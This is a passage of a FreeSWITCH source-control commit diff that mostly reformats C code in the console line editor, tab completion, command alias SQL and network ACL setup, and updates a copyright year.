buf, switch_core_get_variable("hostname"));
}
-
+
if (sql) {
switch_cache_db_execute_sql_callback(db, sql, comp_callback, &h, &errmsg);
@@ -703,7 +712,7 @@
argc = switch_separate_string(dupdup, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
if (h.words == 0) {
- stream.write_function(&stream, "select distinct a1 from complete where " "a1 not in (select name from interfaces where hostname='%s') %s ",
+ stream.write_function(&stream, "select distinct a1 from complete where " "a1 not in (select name from interfaces where hostname='%s') %s ",
switch_core_get_variable("hostname"), argc ? "and" : "");
} else {
if (db->type == SCDB_TYPE_CORE_DB) {
@@ -716,10 +725,10 @@
for (x = 0; x < argc && x < 11; x++) {
if (h.words + 1 > argc) {
if (db->type == SCDB_TYPE_CORE_DB) {
- stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%q')%q",
+ stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%q')%q",
x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? "" : " and ");
} else {
- stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%w')%w",
+ stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%w')%w",
x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? "" : " and ");
}
} else {
@@ -735,7 +744,7 @@
stream.write_function(&stream, " and hostname='%s'", switch_core_get_variable("hostname"));
switch_cache_db_execute_sql_callback(db, stream.data, comp_callback, &h, &errmsg);
-
+
if (errmsg) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error [%s][%s]\n", (char *) stream.data, errmsg);
free(errmsg);
@@ -761,22 +770,21 @@
} else if (h.hits > 1 && !zstr(h.partial)) {
h.stream->write_function(h.stream, "write=%d:%s", h.len, h.partial);
}
- }
-
+ }
+
if (h.xml) {
switch_xml_t x_write = switch_xml_add_child_d(h.xml, "write", h.xml_off++);
char buf[32];
-
+
snprintf(buf, sizeof(buf), "%d", h.len);
switch_xml_set_attr_d_buf(x_write, "length", buf);
-
+
if (h.hits == 1 && !zstr(h.last)) {
switch_xml_set_txt_d(x_write, h.last);
} else if (h.hits > 1 && !zstr(h.partial)) {
switch_xml_set_txt_d(x_write, h.partial);
}
}
-
#ifdef SWITCH_HAVE_LIBEDIT
if (h.out) {
if (h.hits == 1 && !zstr(h.last)) {
@@ -792,14 +800,14 @@
#ifdef _MSC_VER
if (h.out) {
if (h.hits == 1 && !zstr(h.last)) {
- console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
- console_bufferInput(h.last, (int)strlen(h.last), (char*)line, 0);
- console_bufferInput(" ", 1, (char*)line, 0);
+ console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+ console_bufferInput(h.last, (int) strlen(h.last), (char *) line, 0);
+ console_bufferInput(" ", 1, (char *) line, 0);
} else if (h.hits > 1 && !zstr(h.partial)) {
- console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
- console_bufferInput(h.partial, (int)strlen(h.partial), (char*)line, 0);
+ console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+ console_bufferInput(h.partial, (int) strlen(h.partial), (char *) line, 0);
} else {
- console_bufferInput(0, 0, (char*)line, DELETE_REFRESH_OP);
+ console_bufferInput(0, 0, (char *) line, DELETE_REFRESH_OP);
}
}
#endif
@@ -931,7 +939,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "We've become an orphan, no more console for us.\n");
break;
}
-
+
switch_core_session_ctl(SCSC_CHECK_RUNNING, &arg);
if (!arg) {
break;
@@ -1071,11 +1079,11 @@
#else
#ifdef _MSC_VER
-char history[HISTLEN][CMD_BUFLEN+1];
+char history[HISTLEN][CMD_BUFLEN + 1];
int iHistory = 0;
int iHistorySel = 0;
-static int console_history (char *cmd, int direction)
+static int console_history(char *cmd, int direction)
{
int i;
static int first;
@@ -1083,26 +1091,22 @@
if (direction == 0) {
first = 1;
if (iHistory < HISTLEN) {
- if (iHistory && strcmp(history[iHistory-1], cmd)) {
+ if (iHistory && strcmp(history[iHistory - 1], cmd)) {
iHistorySel = iHistory;
strcpy(history[iHistory++], cmd);
- }
- else if (iHistory == 0) {
+ } else if (iHistory == 0) {
iHistorySel = iHistory;
strcpy(history[iHistory++], cmd);
}
- }
- else {
- iHistory = HISTLEN-1;
- for (i = 0; i < HISTLEN-1; i++)
- {
- strcpy(history[i], history[i+1]);
+ } else {
+ iHistory = HISTLEN - 1;
+ for (i = 0; i < HISTLEN - 1; i++) {
+ strcpy(history[i], history[i + 1]);
}
iHistorySel = iHistory;
strcpy(history[iHistory++], cmd);
}
- }
- else {
+ } else {
if (!first) {
iHistorySel += direction;
}
@@ -1111,22 +1115,22 @@
iHistorySel = 0;
}
if (iHistory && iHistorySel >= iHistory) {
- iHistorySel = iHistory-1;
+ iHistorySel = iHistory - 1;
}
strcpy(cmd, history[iHistorySel]);
}
return (SWITCH_STATUS_SUCCESS);
}
-static int console_bufferInput (char* addchars, int len, char *cmd, int key)
+static int console_bufferInput(char *addchars, int len, char *cmd, int key)
{
- static int iCmdBuffer = 0;
+ static int iCmdBuffer = 0;
static int iCmdCursor = 0;
- static int ignoreNext = 0;
+ static int ignoreNext = 0;
static int insertMode = 1;
static COORD orgPosition;
- static char prompt [80];
- int iBuf;
+ static char prompt[80];
+ int iBuf;
int i;
HANDLE hOut;
@@ -1147,12 +1151,12 @@
}
if (key == KEY_TAB) {
- switch_console_complete(cmd, cmd+iCmdBuffer, switch_core_get_console(), NULL, NULL);
+ switch_console_complete(cmd, cmd + iCmdBuffer, switch_core_get_console(), NULL, NULL);
return 0;
}
if (key == KEY_UP || key == KEY_DOWN || key == CLEAR_OP) {
SetConsoleCursorPosition(hOut, orgPosition);
- for (i = 0; i < (int)strlen(cmd); i++) {
+ for (i = 0; i < (int) strlen(cmd); i++) {
printf(" ");
}
SetConsoleCursorPosition(hOut, orgPosition);
@@ -1161,11 +1165,11 @@
memset(cmd, 0, CMD_BUFLEN);
}
if (key == DELETE_REFRESH_OP) {
- int l = len < (int)strlen(cmd) ? len : (int)strlen(cmd);
+ int l = len < (int) strlen(cmd) ? len : (int) strlen(cmd);
for (i = 0; i < l; i++) {
cmd[--iCmdBuffer] = 0;
}
- iCmdCursor = (int)strlen(cmd);
+ iCmdCursor = (int) strlen(cmd);
printf("%s", prompt);
GetConsoleScreenBufferInfo(hOut, &info);
orgPosition = info.dwCursorPosition;
@@ -1177,9 +1181,8 @@
if (iCmdCursor) {
if (position.X == 0) {
position.Y -= 1;
- position.X = info.dwSize.X-1;
- }
- else {
+ position.X = info.dwSize.X - 1;
+ } else {
position.X -= 1;
}
@@ -1188,12 +1191,11 @@
}
}
if (key == KEY_RIGHT) {
- if (iCmdCursor < (int)strlen(cmd)) {
- if (position.X == info.dwSize.X-1) {
+ if (iCmdCursor < (int) strlen(cmd)) {
+ if (position.X == info.dwSize.X - 1) {
position.Y += 1;
position.X = 0;
- }
- else {
+ } else {
position.X += 1;
}
@@ -1204,149 +1206,143 @@
if (key == KEY_INSERT) {
insertMode = !insertMode;
}
- for (iBuf = 0; iBuf < len; iBuf++) {
+ for (iBuf = 0; iBuf < len; iBuf++) {
switch (addchars[iBuf]) {
- case '\r':
- case '\n':
- if (ignoreNext) {
- ignoreNext = 0;
+ case '\r':
+ case '\n':
+ if (ignoreNext) {
+ ignoreNext = 0;
+ } else {
+ int ret = iCmdBuffer;
+ if (iCmdBuffer == 0) {
+ strcpy(cmd, "Empty");
+ ret = (int) strlen(cmd);
+ } else {
+ console_history(cmd, 0);
+ cmd[iCmdBuffer] = 0;
}
- else {
- int ret = iCmdBuffer;
- if (iCmdBuffer == 0) {
- strcpy(cmd, "Empty");
- ret = (int)strlen(cmd);
- }
- else {
- console_history(cmd, 0);
- cmd[iCmdBuffer] = 0;
- }
- iCmdBuffer = 0;
- iCmdCursor = 0;
- printf("\n");
- return (ret);
+ iCmdBuffer = 0;
+ iCmdCursor = 0;
+ printf("\n");
+ return (ret);
+ }
+ break;
+ case '\b':
+ if (iCmdCursor) {
+ if (position.X == 0) {
+ position.Y -= 1;
+ position.X = info.dwSize.X - 1;
+ SetConsoleCursorPosition(hOut, position);
+ } else {
+ position.X -= 1;
+ SetConsoleCursorPosition(hOut, position);
}
- break;
- case '\b':
- if (iCmdCursor) {
- if (position.X == 0) {
- position.Y -= 1;
- position.X = info.dwSize.X-1;
- SetConsoleCursorPosition(hOut, position);
+ printf(" ");
+ if (iCmdCursor < iCmdBuffer) {
+ int pos;
+ iCmdCursor--;
+ for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+ cmd[pos] = cmd[pos + 1];
}
- else {
- position.X -= 1;
- SetConsoleCursorPosition(hOut, position);
+ cmd[pos] = 0;
+ iCmdBuffer--;
+
+ SetConsoleCursorPosition(hOut, position);
+ for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+ printf("%c", cmd[pos]);
}
printf(" ");
- if (iCmdCursor < iCmdBuffer) {
- int pos;
- iCmdCursor--;
- for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
- cmd[pos] = cmd[pos+1];
- }
- cmd[pos] = 0;
- iCmdBuffer--;
+ SetConsoleCursorPosition(hOut, position);
+ } else {
+ SetConsoleCursorPosition(hOut, position);
+ iCmdBuffer--;
+ iCmdCursor--;
+ cmd[iCmdBuffer] = 0;
+ }
+ }
+ break;
+ default:
+ if (!ignoreNext) {
+ if (iCmdCursor < iCmdBuffer) {
+ int pos;
- SetConsoleCursorPosition(hOut, position);
- for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
- printf("%c", cmd[pos]);
- }
- printf(" ");
- SetConsoleCursorPosition(hOut, position);
+ if (position.X == info.dwSize.X - 1) {
+ position.Y += 1;
+ position.X = 0;
+ } else {
+ position.X += 1;
}
- else {
- SetConsoleCursorPosition(hOut, position);
- iCmdBuffer--;
- iCmdCursor--;
- cmd[iCmdBuffer] = 0;
- }
- }
- break;
- default:
- if (!ignoreNext) {
- if (iCmdCursor < iCmdBuffer) {
- int pos;
- if (position.X == info.dwSize.X-1) {
- position.Y += 1;
- position.X = 0;
+ if (insertMode) {
+ for (pos = iCmdBuffer - 1; pos >= iCmdCursor; pos--) {
+ cmd[pos + 1] = cmd[pos];
}
- else {
- position.X += 1;
- }
-
- if (insertMode) {
- for (pos = iCmdBuffer-1; pos >= iCmdCursor; pos--) {
- cmd[pos+1] = cmd[pos];
- }
- }
- iCmdBuffer++;
- cmd[iCmdCursor++] = addchars[iBuf];
- printf("%c", addchars[iBuf]);
- for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
- GetConsoleScreenBufferInfo(hOut, &info);
- if (info.dwCursorPosition.X == info.dwSize.X-1 && info.dwCursorPosition.Y == info.dwSize.Y-1) {
- orgPosition.Y -= 1;
- position.Y -= 1;
- }
- printf("%c", cmd[pos]);
- }
- SetConsoleCursorPosition(hOut, position);
}
- else {
- if (position.X == info.dwSize.X-1 && position.Y == info.dwSize.Y-1) {
+ iCmdBuffer++;
+ cmd[iCmdCursor++] = addchars[iBuf];
+ printf("%c", addchars[iBuf]);
+ for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+ GetConsoleScreenBufferInfo(hOut, &info);
+ if (info.dwCursorPosition.X == info.dwSize.X - 1 && info.dwCursorPosition.Y == info.dwSize.Y - 1) {
orgPosition.Y -= 1;
+ position.Y -= 1;
}
- cmd[iCmdBuffer++] = addchars[iBuf];
- iCmdCursor++;
- printf("%c", addchars[iBuf]);
+ printf("%c", cmd[pos]);
}
+ SetConsoleCursorPosition(hOut, position);
+ } else {
+ if (position.X == info.dwSize.X - 1 && position.Y == info.dwSize.Y - 1) {
+ orgPosition.Y -= 1;
+ }
+ cmd[iCmdBuffer++] = addchars[iBuf];
+ iCmdCursor++;
+ printf("%c", addchars[iBuf]);
}
+ }
}
if (iCmdBuffer == CMD_BUFLEN) {
printf("Read Console... BUFFER OVERRUN\n");
iCmdBuffer = 0;
ignoreNext = 1;
}
- }
- return (SWITCH_STATUS_SUCCESS);
+ }
+ return (SWITCH_STATUS_SUCCESS);
}
-static BOOL console_readConsole(HANDLE conIn, char* buf, int len, int* pRed, int *key)
+static BOOL console_readConsole(HANDLE conIn, char *buf, int len, int *pRed, int *key)
{
- DWORD recordIndex, bufferIndex, toRead, red;
- PINPUT_RECORD pInput;
+ DWORD recordIndex, bufferIndex, toRead, red;
+ PINPUT_RECORD pInput;
- GetNumberOfConsoleInputEvents(conIn, &toRead);
- if (len < (int)toRead) {
+ GetNumberOfConsoleInputEvents(conIn, &toRead);
+ if (len < (int) toRead) {
toRead = len;
}
if (toRead == 0) {
- return(FALSE);
+ return (FALSE);
}
if ((pInput = (PINPUT_RECORD) malloc(toRead * sizeof(INPUT_RECORD))) == NULL) {
return (FALSE);
}
*key = 0;
- ReadConsoleInput(conIn, pInput, toRead, &red);
+ ReadConsoleInput(conIn, pInput, toRead, &red);
- for (recordIndex = bufferIndex = 0; recordIndex < red; recordIndex++) {
- KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
- if (pInput[recordIndex].EventType == KEY_EVENT && keyEvent.bKeyDown) {
+ for (recordIndex = bufferIndex = 0; recordIndex < red; recordIndex++) {
+ KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
+ if (pInput[recordIndex].EventType == KEY_EVENT && keyEvent.bKeyDown) {
if (keyEvent.wVirtualKeyCode == 38 && keyEvent.wVirtualScanCode == 72) {
buf[0] = 0;
console_history(buf, -1);
*key = KEY_UP;
- bufferIndex += (DWORD)strlen(buf);
+ bufferIndex += (DWORD) strlen(buf);
}
if (keyEvent.wVirtualKeyCode == 40 && keyEvent.wVirtualScanCode == 80) {
buf[0] = 0;
console_history(buf, 1);
*key = KEY_DOWN;
- bufferIndex += (DWORD)strlen(buf);
+ bufferIndex += (DWORD) strlen(buf);
}
if (keyEvent.wVirtualKeyCode == 112 && keyEvent.wVirtualScanCode == 59) {
console_fnkey_pressed(1);
@@ -1401,40 +1397,40 @@
if (keyEvent.wVirtualKeyCode == 45 && keyEvent.wVirtualScanCode == 82) {
*key = KEY_INSERT;
}
- while (keyEvent.wRepeatCount && keyEvent.uChar.AsciiChar) {
- buf[bufferIndex] = keyEvent.uChar.AsciiChar;
+ while (keyEvent.wRepeatCount && keyEvent.uChar.AsciiChar) {
+ buf[bufferIndex] = keyEvent.uChar.AsciiChar;
if (buf[bufferIndex] == '\r') {
- buf[bufferIndex] = '\n';
+ buf[bufferIndex] = '\n';
}
- bufferIndex++;
- keyEvent.wRepeatCount--;
- }
- }
- }
+ bufferIndex++;
+ keyEvent.wRepeatCount--;
+ }
+ }
+ }
- free(pInput);
- *pRed = bufferIndex;
- return (TRUE);
+ free(pInput);
+ *pRed = bufferIndex;
+ return (TRUE);
}
#endif
SWITCH_DECLARE(void) switch_console_loop(void)
{
- char cmd[CMD_BUFLEN+1] = "";
- int32_t activity = 1;
+ char cmd[CMD_BUFLEN + 1] = "";
+ int32_t activity = 1;
#ifndef _MSC_VER
int x = 0;
#else
char keys[80];
-#endif
+#endif
/* Load/Init the config first */
console_xml_config();
gethostname(hostname, sizeof(hostname));
#ifdef _MSC_VER
sprintf(cmd, "\nfreeswitch@%s> ", hostname);
- console_bufferInput (0, 0, cmd, PROMPT_OP);
+ console_bufferInput(0, 0, cmd, PROMPT_OP);
memset(cmd, 0, sizeof(cmd));
#endif
@@ -1458,7 +1454,7 @@
}
#ifdef _MSC_VER
activity = 0;
- if (console_readConsole(stdinHandle, keys, (int)sizeof(keys), &read, &key)) {
+ if (console_readConsole(stdinHandle, keys, (int) sizeof(keys), &read, &key)) {
if (console_bufferInput(keys, read, cmd, key)) {
if (!strcmp(cmd, "Empty")) {
cmd[0] = '\n';
@@ -1482,7 +1478,7 @@
if (FD_ISSET(fileno(stdin), &efds)) {
continue;
}
-
+
if (!FD_ISSET(fileno(stdin), &rfds)) {
activity = 0;
}
@@ -1530,7 +1526,7 @@
{
switch_mutex_init(&globals.func_mutex, SWITCH_MUTEX_NESTED, pool);
switch_core_hash_init(&globals.func_hash, pool);
- switch_console_add_complete_func("::console::list_uuid", (switch_console_complete_callback_t)switch_console_list_uuid);
+ switch_console_add_complete_func("::console::list_uuid", (switch_console_complete_callback_t) switch_console_list_uuid);
return SWITCH_STATUS_SUCCESS;
}
@@ -1542,9 +1538,9 @@
SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb)
{
switch_status_t status;
-
+
switch_mutex_lock(globals.func_mutex);
- status = switch_core_hash_insert(globals.func_hash, name, (void *)(intptr_t)cb);
+ status = switch_core_hash_insert(globals.func_hash, name, (void *) (intptr_t) cb);
switch_mutex_unlock(globals.func_mutex);
return status;
@@ -1553,12 +1549,12 @@
SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name)
{
switch_status_t status;
-
+
switch_mutex_lock(globals.func_mutex);
status = switch_core_hash_insert(globals.func_hash, name, NULL);
switch_mutex_unlock(globals.func_mutex);
- return status;
+ return status;
}
SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches)
@@ -1570,7 +1566,7 @@
*matches = NULL;
m = my_match->head;
- while(m) {
+ while (m) {
cur = m;
m = m->next;
free(cur->val);
@@ -1592,41 +1588,46 @@
if (matches->count < 2) {
return;
}
-
- for(i = 1; i < matches->count; i++) {
+
+ for (i = 1; i < matches->count; i++) {
sort[0] = NULL;
sort[1] = matches->head;
sort[2] = sort[1] ? sort[1]->next : NULL;
- sort[3] = sort[2] ? sort[2]->next : NULL;
+ sort[3] = sort[2] ? sort[2]->next : NULL;
- for(j = 1; j <= (matches->count - i); j++) {
+ for (j = 1; j <= (matches->count - i); j++) {
if (strcmp(sort[1]->val, sort[2]->val) > 0) {
sort[1]->next = sort[3];
sort[2]->next = sort[1];
- if (sort[0]) sort[0]->next = sort[2];
- if (sort[1] == matches->head) matches->head = sort[2];
-
-
+ if (sort[0])
+ sort[0]->next = sort[2];
+ if (sort[1] == matches->head)
+ matches->head = sort[2];
+
+
sort[0] = sort[2];
sort[2] = sort[1]->next;
- if (sort[3] && sort[3]->next) sort[3] = sort[3]->next;
-
+ if (sort[3] && sort[3]->next)
+ sort[3] = sort[3]->next;
+
} else {
sort[0] = sort[1];
sort[1] = sort[2];
sort[2] = sort[3];
- if (sort[3] && sort[3]->next) sort[3] = sort[3]->next;
+ if (sort[3] && sort[3]->next)
+ sort[3] = sort[3]->next;
}
-
+
}
}
-
+
p = matches->head;
- for(i = 1; i < matches->count; i++) p = p->next;
+ for (i = 1; i < matches->count; i++)
+ p = p->next;
if (p) {
p->next = NULL;
@@ -1664,7 +1665,7 @@
switch_status_t status = SWITCH_STATUS_FALSE;
switch_mutex_lock(globals.func_mutex);
- if ((cb = (switch_console_complete_callback_t)(intptr_t)switch_core_hash_find(globals.func_hash, func))) {
+ if ((cb = (switch_console_complete_callback_t) (intptr_t) switch_core_hash_find(globals.func_hash, func))) {
if ((status = cb(line, last_word, matches)) == SWITCH_STATUS_SUCCESS) {
switch_console_sort_matches(*matches);
}
@@ -1719,7 +1720,7 @@
}
}
mystream.write_function(&mystream, " '%s')", switch_core_get_variable("hostname"));
-
+
switch_cache_db_persistant_execute(db, mystream.data, 5);
status = SWITCH_STATUS_SUCCESS;
} else if (!strcasecmp(argv[0], "del")) {
@@ -1771,10 +1772,10 @@
switch_cache_db_persistant_execute(db, sql, 5);
switch_safe_free(sql);
if (db->type == SCDB_TYPE_CORE_DB) {
- sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')",
+ sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')",
argv[1], argv[2], switch_core_get_variable("hostname"));
} else {
- sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')",
+ sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')",
argv[1], argv[2], switch_core_get_variable("hostname"));
}
switch_cache_db_persistant_execute(db, sql, 5);
@@ -1784,10 +1785,10 @@
switch_cache_db_persistant_execute(db, sql, 5);
switch_safe_free(sql);
if (db->type == SCDB_TYPE_CORE_DB) {
- sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')",
+ sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')",
argv[1], argv[2], switch_core_get_variable("hostname"));
} else {
- sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')",
+ sql = switch_mprintf("insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')",
argv[1], argv[2], switch_core_get_variable("hostname"));
}
switch_cache_db_persistant_execute(db, sql, 5);
Modified: freeswitch/trunk/src/switch_core.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -89,7 +89,8 @@
static char main_ip4[256] = "";
static char main_ip6[256] = "";
-static void check_ip(void) {
+static void check_ip(void)
+{
char guess_ip4[256] = "";
char guess_ip6[256] = "";
char old_ip4[256] = "";
@@ -127,7 +128,7 @@
switch_core_set_variable("local_ip_v6", guess_ip6);
}
}
-
+
if (!ok4 || !ok6) {
switch_event_t *event;
@@ -191,8 +192,8 @@
SWITCH_DECLARE(void) switch_core_remove_state_handler(const switch_state_handler_table_t *state_handler)
{
int index, tmp_index = 0;
- const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS+1] = { 0 };
-
+ const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS + 1] = { 0 };
+
switch_mutex_lock(runtime.global_mutex);
for (index = 0; index < runtime.state_handler_index; index++) {
@@ -268,8 +269,8 @@
static void switch_core_unset_variables(void)
{
switch_hash_index_t *hi;
- const void *var;
- void *val;
+ const void *var;
+ void *val;
switch_mutex_lock(runtime.global_var_mutex);
for (hi = switch_hash_first(NULL, runtime.global_vars); hi; hi = switch_hash_next(hi)) {
@@ -312,8 +313,8 @@
switch_channel_t *channel;
switch_frame_t *read_frame;
-// switch_assert(thread != NULL);
-// switch_assert(session != NULL);
+// switch_assert(thread != NULL);
+// switch_assert(session != NULL);
if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
return NULL;
@@ -346,7 +347,7 @@
channel = switch_core_session_get_channel(session);
switch_assert(channel);
-
+
switch_channel_clear_flag(channel, CF_SERVICE);
}
@@ -357,7 +358,7 @@
channel = switch_core_session_get_channel(session);
switch_assert(channel);
-
+
switch_core_session_launch_thread(session, switch_core_service_thread, session);
}
@@ -783,7 +784,7 @@
if (fd <= 0) {
goto end;
}
-
+
while ((switch_fd_read_line(fd, line_buf, sizeof(line_buf)))) {
char *p;
char *type = line_buf;
@@ -813,7 +814,7 @@
fd = -1;
}
- end:
+ end:
switch_safe_free(mime_path);
@@ -885,7 +886,7 @@
if ((list = switch_core_hash_find(IP_LIST.hash, list_name))) {
ok = switch_network_list_validate_ip_token(list, ip, token);
} else if (strchr(list_name, '/')) {
- if (strchr(list_name, ',')) {
+ if (strchr(list_name, ',')) {
char *list_name_dup = strdup(list_name);
char *argv[32];
int argc;
@@ -898,7 +899,7 @@
switch_parse_cidr(argv[i], &net, &mask, &bits);
if ((ok = switch_test_subnet(ip, net, mask))) {
break;
- }
+ }
}
}
free(list_name_dup);
@@ -926,7 +927,7 @@
switch_find_local_ip(guess_ip, sizeof(guess_ip), &mask, AF_INET);
in.s_addr = mask;
switch_set_string(guess_mask, inet_ntoa(in));
-
+
switch_mutex_lock(runtime.global_mutex);
if (IP_LIST.hash) {
@@ -948,7 +949,7 @@
switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
- switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
+ switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
tmp_name = "wan.auto";
switch_network_list_create(&rfc_list, tmp_name, SWITCH_TRUE, IP_LIST.pool);
@@ -956,19 +957,18 @@
switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_FALSE);
switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_FALSE);
switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_FALSE);
- switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
+ switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
tmp_name = "nat.auto";
switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
if (switch_network_list_add_host_mask(rfc_list, guess_ip, guess_mask, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
- "Adding %s/%s (deny) to list %s\n", guess_ip, guess_mask, tmp_name);
- }
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s/%s (deny) to list %s\n", guess_ip, guess_mask, tmp_name);
+ }
switch_network_list_add_cidr(rfc_list, "10.0.0.0/8", SWITCH_TRUE);
switch_network_list_add_cidr(rfc_list, "172.16.0.0/12", SWITCH_TRUE);
switch_network_list_add_cidr(rfc_list, "192.168.0.0/16", SWITCH_TRUE);
- switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
+ switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
tmp_name = "loopback.auto";
switch_network_list_create(&rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
@@ -979,14 +979,13 @@
tmp_name = "localnet.auto";
switch_network_list_create(&list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Created ip list %s default (deny)\n", tmp_name);
-
+
if (switch_network_list_add_host_mask(list, guess_ip, guess_mask, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
- "Adding %s/%s (allow) to list %s\n", guess_ip, guess_mask, tmp_name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s/%s (allow) to list %s\n", guess_ip, guess_mask, tmp_name);
}
- switch_core_hash_insert(IP_LIST.hash, tmp_name, list);
+ switch_core_hash_insert(IP_LIST.hash, tmp_name, list);
-
+
if ((xml = switch_xml_open_cfg("acl.conf", &cfg, NULL))) {
if ((x_lists = switch_xml_child(cfg, "network-lists"))) {
for (x_list = switch_xml_child(x_lists, "list"); x_list; x_list = x_list->next) {
@@ -1036,13 +1035,13 @@
switch_assert(my_params);
switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "domain", domain);
switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "purpose", "network-list");
-
+
if (switch_xml_locate_domain(domain, my_params, &xml_root, &x_domain) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot locate domain %s\n", domain);
switch_event_destroy(&my_params);
continue;
}
-
+
switch_event_destroy(&my_params);
for (ut = switch_xml_child(x_domain, "user"); ut; ut = ut->next) {
@@ -1063,10 +1062,10 @@
for (ut = switch_xml_child(uts, "user"); ut; ut = ut->next) {
const char *user_cidr = switch_xml_attr(ut, "cidr");
const char *id = switch_xml_attr(ut, "id");
-
+
if (id && user_cidr) {
char *token = switch_mprintf("%s@%s", id, domain);
- switch_assert(token);
+ switch_assert(token);
switch_network_list_add_cidr_token(list, user_cidr, ok, token);
free(token);
}
@@ -1074,7 +1073,7 @@
}
}
}
-
+
switch_xml_free(xml_root);
} else if (cidr) {
if (switch_network_list_add_cidr(list, cidr, ok) == SWITCH_STATUS_SUCCESS) {
@@ -1088,7 +1087,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
"Adding %s/%s (%s) to list %s\n", host, mask, ok ? "allow" : "deny", name);
}
- }
+ }
switch_core_hash_insert(IP_LIST.hash, name, list);
}
@@ -1146,7 +1145,7 @@
{
char buf[13] = "";
char path[256];
-
+
int fd = -1, write_fd = -1;
switch_ssize_t bytes = 0;
@@ -1160,9 +1159,9 @@
int i = 0;
switch_inet_pton(AF_INET, ip, &ipi);
- byte = (switch_byte_t *) &ipi;
+ byte = (switch_byte_t *) & ipi;
- for(i = 0; i < 8; i += 2) {
+ for (i = 0; i < 8; i += 2) {
switch_snprintf(buf + i, sizeof(buf) - i, "%0.2x", *byte);
byte++;
}
@@ -1179,7 +1178,7 @@
close(fd);
fd = -1;
}
-
+
switch_core_set_variable("switch_serial", buf);
}
@@ -1284,7 +1283,7 @@
if (switch_test_flag((&runtime), SCF_USE_AUTO_NAT)) {
switch_nat_init(runtime.memory_pool);
}
-
+
switch_log_init(runtime.memory_pool, runtime.colorize_console);
switch_load_core_config("switch.conf");
@@ -1374,10 +1373,10 @@
